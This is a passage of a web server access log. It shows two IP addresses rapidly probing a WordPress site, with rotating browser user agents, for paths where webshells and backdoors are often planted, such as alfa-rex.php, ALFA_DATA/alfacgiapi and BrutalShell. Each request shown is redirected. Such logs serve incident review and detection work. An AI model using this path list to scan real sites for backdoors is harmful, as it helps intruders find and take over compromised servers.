"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:28 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:28 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:29 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:30 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:31 -0400] 